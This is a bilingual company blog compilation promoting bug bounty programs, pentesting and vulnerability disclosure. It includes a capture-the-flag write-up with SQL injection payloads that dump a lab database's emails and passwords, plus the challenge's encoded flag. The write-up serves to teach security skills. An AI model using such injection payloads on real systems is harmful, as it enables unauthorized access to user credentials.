&nbsp;

In today&#39;s interconnected world, where technology permeates every aspect of our lives, cybersecurity has become an ever-present concern. The increasing sophistication of cyber-attacks pose significant challenges for organizations striving to safeguard their digital assets. In the battle to stay one step ahead of these threats. Companies partnered with the cyber security community and are launching bug bounty programs. But what exactly are bug bounty programs? How do they work, and how do they help improve a organization&#39;s overall security.

&nbsp;

<h2>What Exactly Is a Bug Bounty?</h2>

A bug bounty is a program offered by companies or organizations to incentivize individuals to find and report security vulnerabilities or bugs in their software or digital products. Bug bounties typically offer monetary rewards, prizes, or recognition to individuals or groups who discover and report previously unknown bugs or vulnerabilities in the company&#39;s software or system. The purpose of a bug bounty is to improve the security of the company&#39;s products and services by identifying and addressing potential security weaknesses before they can be exploited by malicious actors. Ethical Hackers around the world hunt bugs and, in some cases,&nbsp;earn full-time incomes. Bounty programs attract a wide range of hackers with varying skill sets and expertise giving businesses an advantage to work with talents around the world. Bounty programs often complement regular&nbsp;penetration testing&nbsp;and provide a way for organizations to test their applications&rsquo; security continuously and throughout their development life cycles.

&nbsp;

<h2>How Does a Bug Bounty Program Works?</h2>

Businesses starting bug bounty programs must first set the scope and budget for their programs. A scope defines what systems a hacker can test and outlines how a test is conducted. This allows them to implement security testing without compromising overall organizational efficiencies, and productivity.&nbsp;Bug bounty programs that offer competitive payouts send a clear message to its users and the hacking community, the company is committed to promoting vulnerability disclosure and prioritizing security above all. These programs establish reward structures that align with the severity of the discovered vulnerabilities, meaning that higher rewards are given for vulnerabilities with greater potential impact.&nbsp;Money isn&rsquo;t the hacker community&rsquo;s only motivation. Systems like&nbsp;leaderboards&nbsp;that credit hackers for discoveries help them build recognition.&nbsp;Once a hacker discovers a bug, they fill out a disclosure report that details exactly what the bug is, how it impacts the application, and what level of severity it ranks. The hacker includes key steps and details to help developers replicate and validate the bug. Once the developers review and confirm the bug, the company pays the bounty to the hacker.

&nbsp;

<h2>How Can I Set Up My Own Bug Bounty Program?</h2>

Traditionally, setting up a bug bounty program required companies to build their communication platform, implement bug tracking systems, triage received reports, integrate into payment gateways, and more. Now,&nbsp;setting up a bug bounty program&nbsp;is a simple process through Trustline. Trustline platform allows organizations to set their scope, track bug reports, received triaged report,s and manage payouts from one location.

&nbsp;

<h2>How Trustline Can Help:</h2>

Trustline utilizes the community of hackers to help keep businesses safe by providing an all-in-one platform to perform continuous and comprehensive security testing. The platform takes a streamlined approach to finding and remediating bugs while supporting everything in a single dashboard.

Trustline is the first crowdsourced security platform in the region. If you would like to keep up on the latest news, follow us on social media <a href="http://twitter.com/TrustlineSec">Twitter</a>, <a href="http://www.linkedin.com/company/trustlinesec/">LinkedIn</a>&nbsp;and <a href="mailto:info@trustline.sa">contact us</a> today to launch your first bug bounty program.

&nbsp;

&nbsp;

&nbsp;

&nbsp;

يشهد عالمنا المعاصر تقدماً تقنيا لم يسبق له مثيل، فقد أثرت التقنية على كل جانب من جوانب حياتنا اليومية، وأصبح كل شيء مرتبطاً بعضه ببعض. صاحب هذا التقدم هاجس كبير حول الأمن السيبراني حيث أن المخاطر السيبرانية يزيد حجمها وقدرها يوماً بعد يوم مما شكل تحديا حقيقياً للمنشآت التي تسعى لحماية بياناتها وأصولها الرقمية. ونتيجة لهذه التحديات بادرت المنشآت بأخذ خطوة استباقية للتغلب على التهديدات السيبرانية من خلال التحالف مع مجتمع الأمن السيبراني ممثلاً بالهاكرز الأخلاقيين (&nbsp;Ethical Hackers ) وإنشاء ما يسمى ب برامج مكافأة الثغرات ( Bug Bounty ). فما هي هذه البرامج؟ وما هي آلية عملها؟ وكيف من الممكن أن تساهم في رفع مستوى الأمان لدى الشركات؟

&nbsp;

<h2 dir="rtl">ما هي برامج مكافئة الثغرات&nbsp;؟</h2>

هي برامج تنشئها الشركات أو المنشآت لتحفيز الأشخاص إيجاد ثغرات أمنية على تطبيقاتهم أو أنظمتهم ثم الإبلاغ عنها. بوجهٍ عام هذه البرامج تقدم مكافئات مالية أو شهادات شكر للأشخاص الذين اكتشفوا ثغرة أمنية متواجدة في أنظمتهم لم يتم اكتشافها من قبل. الهدف من هذه البرامج رفع من مستوى أمان الشركة وحماية أصولها الرقمية من خلال الإبلاغ عن الثغرات قبل يتم استغلالها من قبل المجرمين السيبرانيين. الهاكرز الأخلاقيين في جميع أنحاء العالم يمارسون اصطياد الثغرات ( Bug Hunting ) على نحو مستمر، وفي بعض الحالات تكون هي عملهم ودخلهم الأساسي. برامج المكافئة تجذب الهاكرز الذين لديهم مهارات وخبرات متخصصة من جميع أنحاء العالم مما يعطي الشركات فرصة مميزة للاستفادة والعمل مع هذه المواهب الفريدة. برامج مكافئة الثغرات تكمل عمليات اختبار الاختراق فهي تقدم للمنشآت طريقة لفحص أصولهم الرقمية بشكل مستمر ومتكامل مع دورة حياة تطوير البرمجيات ( SDLC ).

&nbsp;

<h2 dir="rtl">ما هي آلية عمل برامج مكافئة الثغرات ؟</h2>

في البداية يجب على المنشاة التي تريد إنشاء برنامج تكافئ فيه الهاكرز الذين وجدو ثغرات على انظمتهم أن تحدد نطاق العمل ( Program Scope ) والميزانية المالية ( Bounty ) التي تريد استثمارها في البرنامج. نطاق العمل يوضح على نحو مختصر ما هي الأصول الرقمية التابعه للمنشاة التي يستطيع الهاكر اختباره. تسمح هذه الخطوة للشركات تنفيذ اختبارات أمنية بدون التأثير على إنتاجية الشركة. برامج مكافئة الثغرات التي توفر جوائز عالية تنافسية ترسل صورة واضحة لمستخدميها ومجتمع الأمن السيبراني أنها مهتمة في أمان تطبيقاتها، وأن حماية مستخدمينها هي الأولوية دائما. هذه البرامج توفر هيكلية للمكافآت المالية حيث تكون الثغرات الأكثر خطورة لها عائد مادي أفضل.المال ليس دائما هو المحفز الأول لصياد الثغرات لكثير من الهاكرز. منهم يتنافس ليتصدر لائحة المتصدرين ( Leaderboard ) ويصنع اسمه في المجال، والبعض يراها فرصة لتطوير مهاراته، والأخر تكون فرصة بنسبة له للتعرف على آخرين لديهم نفس الاهتمامات. بمجرد اكتشاف هاكر لثغرة في تطبيق او نظام معين يقوم بتعبئة نموذج يفصل فيه ما نوع الثغرة، وما أثرها، وخطورتها أيضا يضع خطوات تعطي المطور البرمجي تصوراً كامل عن كيفية استغلال الثغرة وما هي أفضل الممارسات لإصلاحها. بعد قيام المطور بمراجعة التقرير والتأكد من صحته تقوم الشركة دفع مكافئة مادية للهاكر لجهده وتعاونه.

&nbsp;

<h2 dir="rtl">كيف أنشئ برنامج مكافئة الثغرات يكون خاصاً لعملي ؟</h2>

في العموم إنشاء برنامج لمكافئة للثغرات يتطلب من الشركة بناء منصتهم الخاصة للتواصل مع الهاكرز، إنشاء نظام لتسجيل وتتبع الثغرات، المراجعة والتأكد من صحة التقارير التي تصلهم، الربط مع بوابة دفع و الكثير من الأمور الأخرى. في وقتنا الحالي أصبح إنشاء برامج مكافئة عملية سهلة باستخدام منصة ترست لاين. في ترست لاين نسمح للجهات بإنشاء برامج المكافئات الخاص بهم وتتبع جميع ثغراتهم الأمنية والوصول إلى أفضل الباحثين الأمنيين ومكافئتهم من خلال موقع واحد.

&nbsp;

<h2 dir="rtl">كيف ترست لاين تساعدك :</h2>

ترست لاين تربط مجتمع الهاكرز المحترفين مع المنشآت لحمايتهم من خلال توفير منصة متكاملة تهدف لإجراء اختبار أمني مستمر وشامل لاصول هذه الشركات. توفر المنصة منهجية تسلسلية واضحة ابتداء من اكتشاف الثغرة، وحتى إغلاقها يمكن الإطلاع عليها من خلال لوحة تحكم متكاملة. ترست لاين هي أول منصة اقتصاد تشاركي في مجال الأمن السيبراني في المنطقة، تابعونا على منصات التواصل الاجتماعي&nbsp;<a href="https://twitter.com/TrustlineSec">تويتر</a>، <a href="https://www.linkedin.com/company/trustlinesec/">لينكد ان</a>، لمعرفة آخر التحديثات و&nbsp;<a href="mailto:info@trustline.sa">تواصل معنا</a> إذا كان عندك الرغبة لحماية منشاتك وإطلاق برامجك الخاصه.

Introduction-to-Vulnerability-disclosure-program

In today's interconnected digital landscape, the constant evolution of technology brings with it an array of security challenges..

تخيل عالمنا بدون تطبيقات توصيل، ولا مواقع حجز تذاكر سفر أو حتى بدون هواتف ذكية وإنترنت. النتيجة هي عالم من الصعب العيش فيه..

We Are All Responsible | Introduction to Vulnerability Disclosure Program

كلنا مسؤول، نبذة عن برامج الإفصاح عن الثغرات وآلية عملها

what-are-bug-bounties-how-do-they-work

In today's interconnected world, where technology permeates every aspect of our lives ..

شهد عالمنا المعاصر تقدماً تقنيا لم يسبق له مثيل، فقد أثرت التقنية على كل جانب من جوانب حياتنا اليومية

What Are Bug Bounties? How to Leverage Collective Power of the Hacker Community?

ماهي برامج مكافأة الثغرات و كيف لمنشأتي أن تستفيد من الباحثين الأمنيين؟

36.00

<h2>Challenge overview:</h2>

<ul>
	<li>DataBreach is a medium-level challenge with the description, &quot; Data breaches can disrupt your life and privacy. It&#39;s time to take charge and find out if your personal accounts have been compromised.&quot;</li>
	<li>It is a web-based challenge that requires specific skills, including a solid understanding of the OWASP Top 10.</li>
	<li>The challenge simulates a Data Breach checker using a search engine</li>
</ul>

<a href="https://i.imgur.com/qOZtAsR.png"><img alt="" src="/media/blog/2024/02/04/1.png" style="height:204px; width:733px" /></a>

&nbsp;

<h2>Technical approach:</h2>

<ul>
	<li>I examined the source page to search for any JavaScript or comments, but it consisted solely of clear HTML/CSS with no JavaScript scripts included.</li>
	<li>I attempted to manually inspect for the presence of the OWASP Top 10</li>
	<li>I entered a query that triggered the SQL injection vulnerability.</li>
	<li>I used the simple &ldquo;1&rsquo; OR 1=1 --&rdquo; SQL Injection query which translates to &ldquo; SELECT email FROM users WHERE email= &lsquo;1&rsquo; OR 1=1 --&rsquo; &rdquo;</li>
</ul>

Which is going to evaluate to True and thus is going to get all emails

<img alt="" src="/media/blog/2024/02/04/chrome_hhnbzgnyd4.png" style="height:355px; width:716px" />

Now, with a foothold, let&rsquo;s try to read the table configuration using the query &ldquo; 1&#39; UNION SELECT sql FROM sqlite_schema-- &rdquo;. This reutrns

<img alt="" src="/media/blog/2024/02/04/chrome_9yhbfmvzmh.png" style="height:233px; width:723px" />

&ldquo;CREATE TABLE users (email TEXT PRIMARY KEY, password TEXT)&rdquo;. Moving forward, let&rsquo;s try to retrieve the password using the query &ldquo; 1&#39; or 1=1 UNION SELECT password FROM users -- &rdquo; It returns a list of all users&rsquo;s passwords

<img alt="" src="/media/blog/2024/02/04/chrome_5f8ludumrh.png" style="height:387px; width:726px" />

After a brief investigation, I found a base64 encoded string &ldquo;VFJVU1RMSU5FeyFfSEB2M18zZWVuX1Amd24zZH0K&rdquo; I quickly recognized it from my past experiences.

<img alt="" src="/media/blog/2024/02/04/chrome_jebxqfjhj1.png" style="height:565px; width:598px" />

I turned to CyberChef, a reliable platform for decoding/decrypting ciphers, to decode the base64-encoded string

&nbsp;

<h2>Conclusion:</h2>

<ul>
	<li>DataBreach challenge solved via SQL injection. Retrieved emails, table info, and passwords. Decoded base64 string for insights.</li>
	<li>I struggled a bit to find the table configuration during the SQL injection process in DataBreach.</li>
	<li>I referred to the SQLite Schema Table at <a href="https://sqlite.org/schematab.html">https://sqlite.org/schematab.html</a>.</li>
	<li>Solving challenges improved practical skills in OWASP Top 10 and SQL injection, highlighted cryptographic decoding.</li>
</ul>

&nbsp;

<h2 dir="rtl">نظرة عامة على التحدي:</h2>

●&nbsp;التسريب البياني هو تحدي متوسط ​​الصعوبة مع الوصف &quot;يمكن أن يعطل التسريب البياني حياتك وخصوصيتك. حان الوقت لتحمل المسؤولية ومعرفة ما إذا تم اختراق حساباتك الشخصية أم لا&quot;. 

●&nbsp;إنه تحدي قائم على الويب يتطلب مهارات محددة ، بما في ذلك فهم قوي لأهم عشرة مشاكل في OWASP. 

●&nbsp;يحاكي التحدي أداة فحص تسرب البيانات باستخدام محرك بحث. 

<a href="https://i.imgur.com/qOZtAsR.png"><img alt="" src="/media/blog/2024/02/04/1.png" style="height:204px; width:733px" /></a>

&nbsp;

<h2 dir="rtl">النهج التقني:</h2>

●&nbsp;قمت بفحص صفحة المصدر للبحث عن أي JavaScript أو تعليقات ، لكنها كانت تحتوي فقط على HTML / CSS واضحة دون أي سكربتات JavaScript. 

●&nbsp;حاولت فحصي يدويًا للبحث عن وجود أهم عشرة مشاكل في OWASP. 

●&nbsp;أدخلت استعلامًا يؤدي إلى ثغرة حقن SQL. 

●&nbsp;استخدمت استعلام حقن SQL البسيط &quot;1 &#39;OR 1 = 1 --&quot; الذي يترجم إلى &quot;SELECT email FROM users WHERE email =&#39;1&#39; OR 1 = 1 --&#39;&quot; 

والذي سيقيم صحة الشرط وبالتالي سيحصل على جميع الرسائل البريدية.

<img alt="" src="/media/blog/2024/02/04/chrome_hhnbzgnyd4.png" style="height:355px; width:716px" />

●&nbsp;يعيد هذا &quot;CREATE TABLE users (email TEXT PRIMARY KEY، password TEXT)&quot;. متقدمين ، دعونا نحاول استرجاع كلمة المرور باستخدام الاستعلام &quot;1 &#39;or 1 = 1 UNION SELECT password FROM users--&quot;.

<img alt="" src="/media/blog/2024/02/04/chrome_5f8ludumrh.png" style="height:387px; width:726px" />

يُعيد قائمة بكلمات المرور لجميع المستخدمين. بعد التحقيق السريع ، وجدت سلسلة مشفرة بنظام base64 &quot;VFJVU1RMSU5FeyFfSEB2M18zZWVuX1Amd24zZH0K&quot;.

<img alt="" src="/media/blog/2024/02/04/chrome_jebxqfjhj1.png" style="height:565px; width:598px" />

سرعان ما اعترفت بها من تجاربي السابقة. لجأت إلى CyberChef ، وهي منصة موثوقة لفك تشفير / فك التشفير لترميز السلاسل بنظام base64

&nbsp;

<h2 dir="rtl">الختام:</h2>

● تم حل تحدي التسريب البياني عن طريق حقن SQL. تم الحصول على رسائل البريد الإلكتروني ومعلومات الجدول وكلمات المرور. فك شفرة سلسلة base64 للحصول على رؤى.

● واجهت بعض الصعوبات في العثور على تكوين الجدول خلال عملية حقن SQL في التسريب البياني.

● رجعت إلى جدول مخطط SQLite على <a href="https://sqlite.org/schematab.html" target="_new">https://sqlite.org/schematab.html</a>.

● حل التحديات قوى المهارات العملية في أهم عشرة مشاكل في OWASP وحقن SQL ، وأبرز فك التشفير التشفيري.

&nbsp;

Exploring-Pentesting-and-BugBounty

Pentesting, also known as penetration testing, and bug bounty programs are two critical approaches employed to enhance security. Despite their common goal of identifying vulnerabilities, they operate differently and offer unique benefits. This exploration will delve into the essence of pentesting, its various methodologies, and how it contrasts with bug bounty programs, providing insight into how they can be effectively integrated into cybersecurity strategies.

يُعد اختبار الاختراق، المعروف أيضًا باسم الاختبار الأمني، وبرامج مكافآت الثغرات، من الأساليب الذكية المستخدمة لتحسين أمن الأنظمة. على الرغم من هدفهما المشترك في تحديد الثغرات الأمنية، إلا أنهما يعملان بشكل مختلف ويقدمان فوائد فريدة. سنناقش في هذا المقال جوهر اختبار الاختراق، ومنهجياته المختلفة، وكيف يختلف ويتقاطع مع برامج مكافآت الثغرات، وطرق فعالة حول كيفية دمجها بكفاءة عالية في استراتيجيات الأمن السيبراني.

Exploring Pentesting and BugBounty

استكشاف اختبار الاختراق وبرامج مكافآت الثغرات

Data-Breach-Challenge

The DataBreach challenge, of medium difficulty, simulates a data breach checker tool using a search engine and requires specific skills related to the OWASP Top 10. The challenge was solved by exploiting SQL injection vulnerabilities, leading to the retrieval of emails and passwords. Additionally, a base64-encoded string was decoded for further insights into the scenario.

تمثل التسريبات البيانية تحديًا متوسط ​​الصعوبة يتطلب مهارات محددة، وهو يحاكي أداة فحص تسرب البيانات باستخدام محرك بحث ويستند إلى مفهوم عشرة مشاكل رئيسية في OWASP. تم حل التحدي عبر استغلال ثغرات حقن SQL، مما أدى إلى الحصول على رسائل البريد الإلكتروني وكلمات المرور، وفك تشفير سلسلة base64 للحصول على رؤى.

DataBreach Challenge Writeup

حل تحدي DataBreach

Pentesting, also known as penetration testing, and bug bounty programs are two critical approaches employed to enhance security. Despite their common goal of identifying vulnerabilities, they operate differently and offer unique benefits. This exploration will delve into the essence of pentesting, its various methodologies, and how it contrasts with bug bounty programs, providing insight into how they can be effectively integrated into cybersecurity strategies.

&nbsp;

<h2>Understanding Pentesting and Its Operational Dynamics</h2>

Pentesting involves authorized attempts to penetrate and evaluate the security of a system to discover vulnerabilities. It combines human expertise and automated tools to scrutinize, penetrate, and assess a network through multiple strategies. The ultimate aim is to obtain full administrative access, revealing how deeply a system can be compromised.

&nbsp;

<h2>The Spectrum of Pentesting Approaches</h2>

Pentesting methodologies vary, each offering specific advantages. The landscape of pentesting has evolved from traditional methods to incorporate the talents of freelance security experts and cutting-edge software solutions. Selecting the right pentesting approach is crucial, ensuring it meets both compliance requirements and the expectation for comprehensive vulnerability discovery. The options include:

<ul>
	<li>Traditional Consultancy-Based Pentesting: Utilizes in-house or contracted experts to conduct tests.</li>
	<li>Trustline Assesment PTaaS: Leverages a global community of vetted security researchers for broader expertise.</li>
	<li>Automated Pentesting: Employs AI and machine learning to automate vulnerability scans.</li>
</ul>

<img alt="" src="/media/blog/2024/04/24/trustline-assessment.png" style="height:2969px; width:4411px" />

<h2>Choosing the Ideal Pentesting Method</h2>

When evaluating pentesting options based on effectiveness, efficiency, and value, community-driven PTaaS emerges as the leading choice. It offers a customized, cost-effective solution that meets specific organizational needs, providing thorough testing and detailed analyses for prompt and efficient assessments.

&nbsp;

<h2>Introducing Bug Bounty Programs</h2>

Bugbounty programs offer financial rewards to ethical hackers for identifying and reporting system vulnerabilities. These programs enable continuous security enhancement by engaging a wide community of security researchers, uncovering issues that automated tools might miss.

&nbsp;

<h2>Distinguishing Between Community-Driven Pentesting and Bug Bounties</h2>

Bug bounty programs excel in delivering long-term security improvements through a diverse pool of researchers, demonstrating cost-effectiveness and commitment from major corporations. Meanwhile, community-driven pentests provide immediate, detailed insights from a select group of experts, ideal for organizations needing quick results for compliance or stakeholder commitments.

&nbsp;

<h2>The Synergy of Pentesting and Bug Bounties in Cybersecurity</h2>

For a robust security posture, combining a comprehensive bug bounty program with targeted pentests is recommended. This dual approach leverages the vast expertise of ethical hackers for broad and in-depth security testing.

&nbsp;

<h2>Enhancing Your Security Strategy with Trustline</h2>

Whether initiating with a pentest or integrating a bug bounty for broader coverage, the advantages of both approaches are amplified when utilizing Trustline Attack Resistance platform. This SaaS solution offers real-time insights, advanced analytics, and a unified dashboard for managing the vulnerability lifecycle, from discovery to remediation. By harnessing both bounties and pentesting, organizations can achieve a balanced, proactive cybersecurity stance.

&nbsp;

<h2>How Trustline Can Help:</h2>

Trustline utilizes the community of hackers to help keep businesses safe by providing an all-in-one platform to perform continuous and comprehensive security testing. The platform takes a streamlined approach to finding and remediating bugs while supporting everything in a single dashboard. If you would like to keep up on the latest news, follow us on social media <a href="http://twitter.com/TrustlineSec" rel="noopener noreferrer" tabindex="0">Twitter</a>, <a href="http://www.linkedin.com/company/trustlinesec/" rel="noopener noreferrer" tabindex="0">LinkedIn</a>&nbsp;and <a href="https://www.trustline.sa/contact-us" rel="noopener noreferrer" tabindex="0"> Contact us</a> today if you are interested to know more.

يُعد اختبار الاختراق، المعروف أيضًا باسم الاختبار الأمني، وبرامج مكافآت الثغرات، من الأساليب الذكية المستخدمة لتحسين أمن الأنظمة. على الرغم من هدفهما المشترك في تحديد الثغرات الأمنية، إلا أنهما يعملان بشكل مختلف ويقدمان فوائد فريدة. سنناقش في هذا المقال جوهر اختبار الاختراق، ومنهجياته المختلفة، وكيف يختلف ويتقاطع مع برامج مكافآت الثغرات، وطرق فعالة حول كيفية دمجها بكفاءة عالية في استراتيجيات الأمن السيبراني.  

&nbsp;

<h2>فهم اختبار الاختراق وديناميكياته التشغيلية</h2>

يشتمل اختبار الاختراق على محاولات مصرحة مسبقاً لاختراق وتقييم أمن النظام لاكتشاف نقاط الضعف. فهو يجمع بين الخبرة البشرية والأدوات المؤتمتة للتدقيق والأختراق والتقييم من خلال استراتيجيات متعددة. والهدف النهائي هو الحصول على وصول إداري كامل، مما يكشف عن مدى العمق الذي يتم من خلاله اختراق النظام.

&nbsp;

<h2>اطياف من نهج اختبار الاختراق</h2>

تتباين منهجيات اختبار الاختراق، حيث يقدم كل منها مزايا محددة. تطور مجال اختبار الاختراق ليشمل مواهب خبراء الأمن المستقلين وحلول البرامج المتطورة. يعد اختيار نهج اختبار الاختراق الصحيح والمناسب أمرًا بالغ الأهمية، مما يضمن تلبية كل من متطلبات الامتثال وتوقعات اكتشاف شامل لنقاط الضعف. وتشمل الخيارات ما يلي:

<ul>
	<li>اختبار اختراق تقليدي: يستخدم خبراء داخليين أو متعاقدين لإجراء الاختبارات.</li>
	<li>ترست لاين&nbsp;اختراق كخدمة قائم على المجتمع: يستفيد من مجتمع عالمي من الباحثين الأمنيين الموثوقين للحصول على خبرة أوسع.</li>
	<li>اختبار اختراق آلي: يستخدم الذكاء الاصطناعي والتعلم الآلي لأتمتة عمليات الكشف عن الثغرات الأمنية.</li>
</ul>

<img alt="" src="/media/blog/2024/04/24/trustline-assessment_DNvTtqy.png" style="height:2969px; width:4411px" />

<h2>اختيار الطريقة الأمثل لاختبار الاختراق</h2>

عند تقييم خيارات اختبار الاختراق بناءً على الفعالية والكفاءة والقيمة، يبرز اختبار الاختراق كخدمة قائمة على المجتمع كخيار رائد. فهو يوفر حلاً مخصصًا وفعالًا من حيث التكلفة يلبي احتياجات المؤسسة المحددة، ويوفر اختبارًا شاملًا وتحليلات تفصيلية لتقييمات سريعة وفعالة.

&nbsp;

<h2>برامج مكافآت الثغرات الأمنية</h2>

تقدم برامج مكافآت الثغرات الأمنية مكافآت مالية للباحثين الأمنيين، لاكتشاف نقاط ضعف النظام والإبلاغ عنها. تمكن هذه البرامج من تعزيز الأمن بشكل مستمر من خلال إشراك مجموعة واسعة من الباحثين الأمنيين، مما يكشف عن المشكلات التي قد لا يتم رصدها من قبل الأدوات المؤتمتة .

&nbsp;

<h2>الفرق بين اختبار الاختراق المجتمعي وبرامج مكافآة الثغرات </h2>

تتفوق برامج المكافآت الأمنية في تقديم تحسينات أمنية طويلة الأجل من خلال مجموعة متنوعة من الباحثين، مما يدل على فعالية التكلفة والالتزام من قبل الشركات الكبرى. وفي الوقت نفسه، توفر اختبارات الاختراق المجتمعية رؤى فورية ومفصلة من مجموعة مختارة من الخبراء، وهي مثالية للمؤسسات التي تحتاج إلى نتائج سريعة للامتثال أو التزامات أصحاب المصلحة.

&nbsp;

<h2>الدمج بين اختبار الاختراق وبرامج مكافآت الثغرات الأمنية في الأمن السيبراني</h2>

للحصول على أفضل نتيجة أمنية، يوصى بدمج برنامج مكافآت الثغرات الأمنية واجراء اختبارات الأختراق المستهدفة. هذا النهج المزودج ينعكس ايجابيا على أمن الأصول الرقمية من خلال الاستفادة الكاملة من خبرة الباحثين الواسعة.

&nbsp;

<h2>عزز من استراتيجية الأمان الخاصة بك مع ترست لاين</h2>

سواءً بدأت باختبار الأختراق او دمجها مع برامج مكافأة الثغرات الأمنية لتغطية أوسع, فإن مزايا كلا النهجين تتضاعف عند استخدام منصة ترست لاين لمقاومة الهجمات فالمنصة تقدم حل قائم من التحليلات المتقدمة ولوحة التحكم الموحدة لإدارة دورة حياة الثغرات الأمنية، من مرحلة لاكتشاف إلى مرحلة المعالجة. من خلال الاستفادة من كل من مزايا برامج المكافآت واختبارات الاختراق، يمكن للمؤسسات تحقيق موقف أمني استباقي ومتوازن.

&nbsp;

<h2>كيف ترست لاين تساعدك :  </h2>

ترست لاين تربط مجتمع الهاكرز المحترفين مع المنشآت لحمايتهم من خلال توفير منصة متكاملة تهدف لإجراء اختبار أمني مستمر وشامل لاصول هذه الشركات. توفر المنصة منهجية تسلسلية واضحة ابتداء من اكتشاف الثغرة، وحتى إغلاقها يمكن الإطلاع عليها من خلال لوحة تحكم متكاملة. تابعونا على منصات التواصل الاجتماعي&nbsp;<a href="https://twitter.com/TrustlineSec" rel="noopener noreferrer" tabindex="0">تويتر</a>، <a href="https://www.linkedin.com/company/trustlinesec/" rel="noopener noreferrer" tabindex="0">لينكد ان</a>، لمعرفة آخر التحديثات و&nbsp;<a href="https://www.trustline.sa/ar/contact-us" rel="noopener noreferrer" tabindex="0">تواصل</a><a href="mailto:info@trustline.sa" rel="noopener noreferrer" tabindex="0"> معنا</a> إذا كان عندك الرغبة لحماية منشاتك وإطلاق برامجك الخاصه.

Understanding-bugbounty-vdp

Bug bounties and Vulnerability Disclosure Programs (VDPs) are widely embraced by organizations worldwide.

برامج مكافأة الثغرات وبرامج الافصاح عن الثغرات هي برامج تتبناها الشركات في جميع أنحاء العالم. ومع ذلك، لا يزال العديد من الأشخاص يجدون صعوبة في فهم كيفية استخدامها بشكل مناسب والفروقات بينهما.

Exploring the Differentiation Between Public and Private Bug Bounties and Vulnerability Disclosure Programs

معرفة الاختلاف ما بين برامج مكافئة الثغرات الخاصه و العامه و برامج الكشف عن الثغرات

CISOs and security leaders face numerous challenges, including the skills gap, technical debt, and limited resources due to a challenging economic climate. This responsibility of safeguarding organizations is far from easy, leading to burnout among 74% of CISOs in the past year. To understand how security teams can thrive in such circumstances, we engaged in discussions with industry-diverse CISOs and security leaders. Through these conversations, we identified essential strategies. A recurring theme in our discussions was the utilization of ethical hackers by security leaders to address strains and challenges in their security programs. This collaboration with the hacker community offers cost reduction and validation of security controls as key benefits.

&nbsp;

<h2>Ethical Hackers: Strengthening Security</h2>

Ethical hackers not only provide additional testing skills but also offer insights on vulnerability identification and exploitation, enabling organizations to prevent recurring vulnerabilities. These conversations with hackers help organizations develop a comprehensive understanding of their attack surface, facilitating the identification of ways to strengthen defenses against various threats, be it through expertise, tools, or process changes.

&nbsp;

<h2>Uncovering Risks, Validating Security</h2>

Modern IT environments are complex and interconnected, making it impossible to anticipate all risks. Despite having robust IT operations, security practices, and CI/CD pipelines, gaps in knowledge, skills, or experience can lead security teams to overlook risks and threats. This is where the ethical hacking community plays a vital role. Continuously evaluating the attack surface, a diverse group of security experts significantly increases the chances of discovering unexpected weaknesses, allowing proactive remediation before cybercriminals exploit them. Additionally, hackers independently validate the effectiveness of security measures, helping organizations tighten or replace controls that underperform.

&nbsp;

<h2>Optimizing Resources: Engaging Hackers</h2>

Engaging with the ethical hacker community not only enhances security testing coverage but also offers cost and time savings. The breadth of testing skills available surpasses what can be retained in-house or obtained from penetration testing providers. Utilizing a single platform for a wide range of offensive security testing eliminates the need to onboard multiple vendors, resulting in significant time and cost savings.

&nbsp;

<h2>Building Trust: Vulnerability Disclosure Programs</h2>

Although some security leaders initially hesitated to collaborate with hackers due to concerns about exposing their organizations, working with the global hacking community has proven beneficial. Hacker-driven vulnerability disclosure and bug bounty programs substantially contribute to organizations&#39; security profiles, fostering higher levels of trust with customers and partners.

&nbsp;

<h2>Budget Strategies: Insights From Security Leaders</h2>

By inviting expert hackers to assess your assets, you can strengthen security controls and address gaps without waiting for real-world cyberattacks to occur. In navigating budget restrictions, insights from security leaders include talent management, budget balancing, risk management, and engaging ethical hackers as effective approaches to overcome financial constraints.

&nbsp;

Trustline is the first crowdsourced security platform in the region. Through community of hackers, networks and applications can be tested and protected using the latest strategies and techniques. If you would like to keep up on the latest news, follow us on social media&nbsp;<a href="http://twitter.com/TrustlineSec">Twitter</a>,&nbsp;<a href="http://www.linkedin.com/company/trustlinesec/">LinkedIn</a>&nbsp;and&nbsp;contact us&nbsp;today to explore our offerings.

يواجه قادة الأمن السيبراني والرؤساء التنفيذيين العديد من التحديات السيبرانية، بما فيها قلة توفر المهارات والموارد المتاحة في المجال السيبراني مما شكّل فجوة خطيرة تهدد أمن هذه المؤسسات. هذه المسؤولية لحماية المؤسسات لا تعد سهلة على الإطلاق، مما تسبب بالاحتراق الوظيفي لأكثر من ٧٤٪ من القادة التنفيذين في أمن المعلومات. لفهم كيف يمكن التغلب على هذه الظروف، شاركنا في مناقشات مع هؤلاء القادة التنفيذيين في العديد من المؤسسات لمعرفة كيف يمكن إيجاد حلول فعّالة لهذه التحديات. من خلال هذه المناقشات، توصّلنا إلى استراتيجيات معينة للتغلب على هذه التحديات. من أبرز هذه الاستراتيجيات كانت استخدام الهاكرز الأخلاقيين لإيجاد الثغرات والتغلب على التحديات التي يواجهونها. حيث يساهم التعاون مع مجتمع الهاكرز الأخلاقيين في سد فجوة عدم توافر بعض المهارات اللازمة ومحدودية الموارد.

&nbsp;

<h2 dir="rtl">الهاكرز الأخلاقيين</h2>

الاستعانة بالهاكرز الأخلاقيين لا تساهم فقط في توفير مهارات إضافية لإيجاد الثغرات المحتمل استغلالها من قبل المجرمين السيبرانيين، بل يقدمون أيضا رؤية مختلفة تساعد المؤسسات في معرفة نقاط ضعفها من خلال اختبارات اختراق محاكية لواقع الهجمات السيبرانية. أيضًا يقدمون اقتراحات لإصلاح هذه الثغرات مما يساعد في تعزيز حماية الأصول الرقمية للمؤسسة.

&nbsp;

<h2 dir="rtl">البيئة الرقمية الحديثة</h2>

إيجاد جميع الثغرات وإصلاحها في البيئة الرقمية الحديثة يعد معقدًا جدًا. حيث يمكن أن تغفل فرق الأمن في المؤسسات عن بعض الثغرات الخطيرة التي تهدد أمنها السيبراني. هنا يأتي دور مجتمع الهاكرز الأخلاقيين ليلعب دورًا مهمًا في حماية الأصول الرقمية للمؤسسات، عن طريق إيجاد الثغرات وتقديم تقارير مفصلة عن كيفية معالجة هذه الثغرات مما يسمح بمعالجة استباقية لتدعيم الأمان قبل أن يستغلها المجرمون السيبرانيون.

&nbsp;

<h2 dir="rtl">تعزيز الموارد عن طريق إشراك الهاكرز الأخلاقيين</h2>

